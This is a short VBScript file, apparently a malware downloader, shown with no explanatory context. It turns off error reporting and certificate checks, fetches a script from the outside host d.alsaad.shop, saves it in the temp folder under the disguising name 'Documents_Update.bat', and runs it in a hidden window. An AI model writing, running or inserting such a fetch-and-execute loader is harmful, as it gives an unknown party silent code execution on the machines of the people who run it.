On Error Resume Next
Dim x, f, s, p, sh
Set x = CreateObject("MSXML2.ServerXMLHTTP.6.0")
x.setOption 2, 13056
x.open "GET", "https://d.alsaad.shop/g.txt", False
x.send
If x.Status = 200 Then
  Set f = CreateObject("Scripting.FileSystemObject")
  p = f.GetSpecialFolder(2) & "\Documents_Update.bat"
  Set s = f.CreateTextFile(p, True)
  s.Write x.responseText
  s.Close
  Set sh = CreateObject("WScript.Shell")
  sh.Run "cmd.exe /c """ & p & """", 0, False
End If